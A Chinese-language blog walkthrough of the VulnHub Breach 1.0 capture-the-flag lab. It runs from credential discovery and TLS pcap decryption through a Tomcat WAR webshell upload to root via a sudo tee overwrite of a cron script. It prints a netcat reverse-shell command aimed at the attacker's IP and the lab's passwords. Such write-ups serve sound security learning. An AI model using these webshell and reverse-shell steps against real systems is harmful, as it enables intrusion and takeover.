• VulnHubBreach1.0[渗透测试]新手必看


    靶机下载地址:

         https://download.vulnhub.com/breach/Breach-1.0.zip

    前言:

            将下载好的靶场导入VMware,虚拟机设置网络模式为nat模式,即可开启渗透,阅读readme.txt

            作为多部分系列的第一部分,Breach 1.0 旨在从初学者到中级 boot2root/CTF 挑战。 解决问题将结合可靠的信息收集和持久性。 不遗余力。         VM 配置有静态 IP 地址 (192.168.110.140),因此您需要将仅主机适配器配置到此子网。 非常感谢 knightmare 和 rastamouse 的测试和提供反馈。 感谢 g0tmi1k 维护#vulnhub 并主持我的第一个挑战。 如果您遇到任何问题,您可以在 Twitter 上找到我:https://twitter.com/mrb3n813 或在#vulnhub 的 IRC 上。 期待文章,尤其是到本地/根目录的任何意外路径。

    VMware虚拟机配置有静态IP地址:192.168.110.140,需要将虚拟机网卡设置为host-only方式

    • 攻击机IP:192.168.110.128
    • 靶机IP:192.168.110.140
    • 靶场和攻击机设置仅主机模式,并且编辑网络设置,修改子网IP为192.168.110.0

     

    信息收集:

                扫描靶机服务端口信息,发现开放了996,我们判断该靶机内部有IPS.IDS等蜜罐信息,直接进行80渗透

     访问web网站

     大概意思就是公司信息泄露,倒闭了.我们首先看一下源代码,有一条信息看上去是编码的

     使用CTF随波逐流解码工具看看,因为这个编码是4的倍数64位所以我们可以知道他应该是一个base64编码,经过两次base64解码后我们得到了 

    pgibbons:damnitfeel$goodtobeagang$ta类似于linux中的账号密码由:来鉴别左边应该是账号右边应该是密码

    接着研究这个网站,我们发现图片可以点击进去访问

    出现这个页面.然后我们一个一个访问发现最后一个 是一个登录网站impresscms的框架,上面可以登录,我们利用信息手机的账号密码尝试登录一下,发现登录成功,接着找找后台有没有什么有用信息,最后发现在Inbox上有三条信息我们依次访问

     

     

     

     最后一条告诉我们

    彼得,我不知道这是什么。我将文件保存在这里:192.168.110.140/.keystore鲍勃 ------------------------------------------------------------------------------------------------------------------------------------------- 2016年6月:registrar@penetrode.com发送:02 16:16:bob@initech.com;主题:感谢您购买超级机密证书专业版!请在附件中找到您的新SSL证书。不要告诉任何人!

    于是我们访问192.168.110.140/.keystore发现是一个密钥

     接着继续在后台找信息,在Inbox前一条prefile中的content

     

     翻译一下就是:

            Peter Gibbons于2016/6/4 21:37:05发布。(0读取)

            小组,我上传了一份红队模拟袭击的pcap文件。我不知道他们用了什么花招,但我看不懂文件。我尝试了我的每一个nmap开关的C|EH研究,只是不能找出它。http://192.168.110.140/impresscms/_SSL_test_phase1.pcap他们告诉我别名,storepassword和keypassword都设置为“tomcat”。这是有用的吗? ?有人知道这是什么吗?我猜我们现在已经安全加密了?附言:接下来的两天我要去钓鱼,没有邮箱和电话。

    可以知道http://192.168.110.140/impresscmms/_SSL_test_phase1.pcap有一个包,还有一个账号密码都是tomcat,接着访问网址下载包,使用wireshark分析此流量包

     发现有TLS数据包就是https包,并且端口为8443,但是所有的内容都被加密了,我们知道之前下载了一个密钥,使用java自带的keytool可以处理[在windows java目录下]

            【注意】将keystore放在C盘根目录下

    然后使用参数keytool -list -keystore 文件路径

     然后利用我们刚刚收集到的信息tomcat输入进去

     接着从密钥库中导出证书.证书格式是p12,因为提示了我们为pkcs12,口令全部都写tomcat

     接着把证书导入到wireshark注意上传证书的时候新版wireshark是TLS老版是SSL在wireshark中的编辑->首选项

    接着在RSA key list 点击Edit

    点击添加

     写下ip地址 端口 协议 证书文件位置 密码口令

     点击浏览后,我们回到wireshark发现Https的数据流量包已经解密,为了方便我们只看https的流量包参数是http

    分析这些流量包查询有用的信息,在NO.26号包中我们发现了这个网站是利用的简单http认证,我们之后可以访问https://192.168.110.140:8443/_M@nag3Me/html网站,并且流量包中已经显示了账号密码tomcat:Tt\5D8F(#!*u=G)4m7zB

    访问https://192.168.110.140:8443/_M@nag3Me/html,发现不能直接访问,该网站的证书浏览器认为不安全所以不让我们访问

     这里我们可以使用burpsuite的证书,在打开burpsuite代理之后访问http://burp下载证书,并且在浏览器上信任该证书,不懂可以查询百度

    这些搞完过后我们进行抓包利用bp的代理证书直接进去,经过bp抓包转发过后我们到达了http认证

     输入之前我们得到的账号密码尝试是否可以登录

    登录成功,我们发现该网站是一个tomcat的一个开源项目,我们发现他可以上传war包,所以我们可以尝试制作一个java的webshell

     接着我们还是利用BP的包长传这个war包,接着使用msf监听

     记得设置payload

     接着访问上传的war包/lyq

     点击后通过bp代理过去我们msf已经有了反应

     python -c 'import pty;pty.spawn("/bin/bash")'优化终端现在我们应该去提权但是sudo -l似乎并不可以使用也没有什么历史用户这个时候我们可以查看一下/etc/passwd,发现常见用户www-data,root等我们找到www-daat通常是可以访问的,接着我们去访问一下该路径,发现有一个文件夹5446

     接着去访问它,发现四个可疑文件

     我们一个一个访问,访问第一个我们发现了数据库的账号密码

     访问一下mysql数据库,发现一个user表

     接着我们查询他的字段

     发现这个milton是/etc/passwd存在的用户,该password32位应该是md5.我们md5最终得到的密码是thelaststraw,接着我们尝试更改用户

    更改用户成功了,但是还是不可以使用sudo -l我们查看history发现该用户历史命令登录过root和blumbergh

    这个blumbergh是一个老总,最后我们在http://192.168.110.140/images/找到了信息分别把图片下下来使用stringhttp://192.168.110.140/images/找到了信息分别把图片下下来使用stringshttp://192.168.110.140/images/找到了信息分别把图片下下来使用string发现bill.png里面找到了密码

     coffeestains就是该用户的密码,接着去登录blumbergh,最后登录成功,并且属于sudo组

    使用sudo -l发现我们可以使用/usr/bin/tee 和tidyup都可以是以root用户进行执行,我们可以制作一个反弹shell tee是linux中的一个程序,用户读取标准的数据,然后输出成文件看看tidyup的脚本内容

    这个tidyup,sh是一个三分钟清理文件的脚本,但是是以root用户执行的我们利用tee可以修改里面的内容并反弹成我们的反弹shell

    首先我们切换到/tmp/目录下 echo "nc -e /bin/bash 192.168.110.128 109" >> lyq.txt

    接着cat lyq.txt|sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

    本地nc监听109端口 nc -lvvp 109

    等待三分钟即可拿到shell

     

     最后我们就拿到了root

  • 相关阅读:
    L2搭载率连续两个月站上30%大关,车企加速产业链整合
    Git使用教程
    理解MVC、MVP、MVVM在干什么,进化的原因。
    Kafka面试题
    ssm基于java的儿童成长记录系统
    【华为OD机试真题 python】最长连续子序列 【2022 Q4 | 100分】
    基于Jeecgboot前后端分离的平台后端系统采用jenkins发布
    自动化测试的必备准则
    Django基本使用
    git am冲突解决办法
  • 原文地址:https://blog.csdn.net/qq_60115503/article/details/126601976